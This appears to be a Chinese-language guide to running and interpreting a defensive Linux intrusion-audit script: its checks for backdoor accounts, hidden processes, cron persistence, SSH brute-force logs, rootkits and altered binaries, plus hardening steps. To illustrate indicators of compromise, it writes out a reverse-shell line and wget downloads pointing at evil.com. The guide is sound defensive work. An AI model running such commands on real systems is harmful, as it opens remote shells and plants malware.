将完整脚本保存为 /opt/hacker_forensics.sh(或其他路径),并赋予执行权限:
sudo chmod +x /opt/hacker_forensics.sh必须以 root 身份运行(因为需要读取系统日志和部分系统文件):
sudo /opt/hacker_forensics.sh运行过程中,终端会实时刷新审计结果,同时结果会覆盖写入 唯一报告文件:
- 报告路径:
/var/log/hacker_forensics.log
- 只读安全:脚本不会修改任何系统配置、不会封禁 IP,可放心在生产环境使用。
- 并发锁:同一时间只能运行一个实例,若重复执行会提示“脚本正在运行”并退出。
- 报告覆盖:每次运行都会覆盖上一次的报告,只保留最新结果。如需历史记录,请自行备份。
- 日志范围:自动收集
/var/log/secure、/var/log/auth.log及其轮转压缩包(*.gz),确保分析覆盖全部历史。
建议加入 cron 周期性审计(例如每周一凌晨 3 点):
sudo crontab -e添加以下行:
0 3 * * 1 /opt/hacker_forensics.sh
报告保存在 /var/log/hacker_forensics.log,可随时查看。
报告分为 8 个审计章节和最后的汇总,每一项结果都带有风险标签:
[CRITICAL]红色严重警告 —— 需要立即人工介入[WARNING]黄色一般警告 —— 可能存在配置风险或需关注的变更[INFO]绿色信息 —— 表示检查通过或提供上下文
下面逐节解释如何判断是否存在安全威胁。
查什么:
- 系统中除
root外是否还有 UID=0 的超管账户(后门账户) - 是否存在可以登录的普通用户(U >= 1000 且 Shell 不是
/sbin/nologin) /etc/shadow中是否有空密码或未锁定的弱账户- 当前 sudo 权限配置是否异常(例如全员 ALL)
如何解读:
- CRITICAL:如果看到类似
发现 UID=0 的非 root 账户: backdoor:x:0:0...,说明存在隐藏的超管后门,必须立即禁用。 - WARNING:系统账户(如
bin,daemon)显示为“空密码或锁定”是正常的,因为这些账户本身就无法登录。但如果是你自定义的用户被误标,请确认该账户是否需要可登录。 - 正常 INFO:仅显示一个你认识的管理员账户(如
airex)且 sudo 权限仅限 root,即为安全。
查什么:
- 当前所有监听端口及对应进程
- 已建立的对外 TCP 连接(检查是否有可疑外联木马)
- SSH 服务是否运行在非标准端口
如何解读:
- INFO:列出标准服务端口(22, 111, 53, 631, 25)都是系统默认,正常。
- WARNING/CRITICAL:如果看到未知进程监听了奇怪端口(例如
/tmp/.x监听 4444),很可能是后门。正常连接如192.168.0.20:22 -> 192.168.0.11:17012显示的是管理员自己的 SSH 会话。 - 非标准端口(如 2222)只要是你主动修改的,就不是问题;否则需检查是否被篡改。
查什么:
- 对比
ps输出的 PID 列表和/proc目录下的 PID,检测是否存在 rootkit 隐藏的进程。 - 显示 CPU 占用 TOP 10 进程,发现异常资源消耗(如挖矿病毒)。
如何解读:
- CRITICAL:如果发现
隐藏进程 PID=12345 命令: /usr/bin/...,说明有进程在/proc中存在但ps看不到,极大概率是 rootkit,须深入分析。 - WARNING:若提示“无法完成检测”,通常是由于系统权限或排序临时问题,可手动用
ps aux | grep -v grep | wc -l和ls /proc | wc -l粗略对比。 - INFO:未发现隐藏进程,且 TOP 进程都是
gnome-shell、vmtoolsd等正常程序,即为安全。
查什么:
- 所有用户的 crontab 和系统
/etc/cron*定时任务 - systemd 定时器
/etc/rc.local开机启动脚本/tmp和/dev/shm中的可执行文件(常见恶意软件投放点)- 非标准路径下的 SUID/SGID 文件(可用于提权)
如何解读:
- CRITICAL:如果发现陌生定时任务(如
*/5 * * * * wget http://evil.com/s)、/tmp下有不明可执行文件,或/home/user/.hidden/suid_shell这样的 SUID 文件,均为严重入侵迹象。 - WARNING:系统自带的定时脚本(
logrotate,mlocate)和系统 cron 空目录均为正常。/etc/rc.local中只有touch /var/lock/subsys/local无风险。 - INFO:未发现异常则说明持久化层面干净。
这是日志分析的核心部分,分为统计和明细两个板块。
统计部分:
- 爆破 IP TOP:按失败次数降序排列,展示攻击来源 IP 及尝试次数。
- 爆破用户名 TOP:展示被猜测的用户名及次数(包含
root、常见弱用户名等)。 - 成功登录 IP TOP:展示成功登录的 IP 及次数。
明细部分:
- 最近爆破尝试:显示时间、来源 IP、目标端口(服务器 SSH 端口)、尝试的用户名。
- 最近成功登录:显示时间、用户名、来源 IP。
如何解读:
- CRITICAL(隐含):如果成功登录 IP 中包含你不认识的公网地址,说明服务器已被攻破。
- WARNING:大量爆破记录(例如 IP
192.168.0.8尝试数千次)虽然可能未成功,但说明你的 SSH 正被暴力扫描。此时应查看SSHD 配置关键项确认PasswordAuthentication yes是否开启——若为 yes,则被暴力破解风险极高。 - 正常:成功登录 IP 都是你的内网管理段(
192.168.0.x),没有异常成功记录。
说明 192.168.0.8 正在对内网服务器端口 22 进行大规模暴力破解,尝试了 root、vagrant 等账户。结合成功登录记录,若未发现该 IP 成功登录,则暂时未突破,但需要加强防护。
查什么:
- 最近 20 次用户登录记录(
last命令) - 检查
/root/.bash_history和/home/*/.bash_history中是否存在可疑命令(如反弹 shell、恶意下载等)如何解读:
- WARNING:如果发现类似
bash -i >& /dev/tcp/evil.com/443 0>&1或wget http://evil.com/shell.sh -O /tmp/x,说明已被植入,需立即断网排查。 - 正常:历史命令中无匹配,或只有日常管理命令。
查什么:
- 当前加载的所有内核模块(
lsmod输出) - 已知 rootkit 特征目录(如
/usr/src/.puta等)
如何解读:
- CRITICAL:若出现可疑内核模块名(例如
suterusu,wn等)或特征目录存在,极可能是内核级 rootkit。 - INFO:列表中都是网卡驱动、文件系统等正常模块,且没有特征目录,则安全。
- 示例分析:
模拟 Rootkit脚本发现
查什么:
- 对已安装的 RPM 包执行
rpm -Va,检查文件大小、校验和、权限等变化,列出异常项。
如何解读:
- WARNING:大部分变动是配置文件(标记为
c)被系统工具修改,属于正常(如认证配置、打印机配置)。 - 重点关注:如果核心二进制文件如
/bin/ps、/usr/sbin/sshd、/bin/ls等出现S.5....T.变化,很可能被替换为木马版本,此时必须深入检查。 - INFO:仅显示少量配置文件变动,无关键文件变化,则可放心。
示例分析:
模拟修改文件权限和配置(必告警)脚本发现
报告末尾会统计 CRITICAL 和 WARNING 的总数。
- 如果 CRITICAL > 0:立刻进行应急响应,隔离主机并分析可疑项。
- 如果所有 WARNING 集中于 SSH 密码认证和 RPM 常规配置文件变动:属可接受风险,建议立即采取以下加固措施:
- 关闭 SSH 密码登录,仅用密钥认证:
sudo sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config sudo systemctl restart sshd - 部署 fail2ban 自动封禁爆破 IP:
sudo yum install fail2ban -y # 或 apt install fail2ban sudo systemctl enable --now fail2ban
- 限制 SSH 源 IP(如有防火墙):仅允许管理 IP 段访问 22 端口。
- 定期运行本脚本监控变化,配合 SIEM 集中告警。
- 关闭 SSH 密码登录,仅用密钥认证:








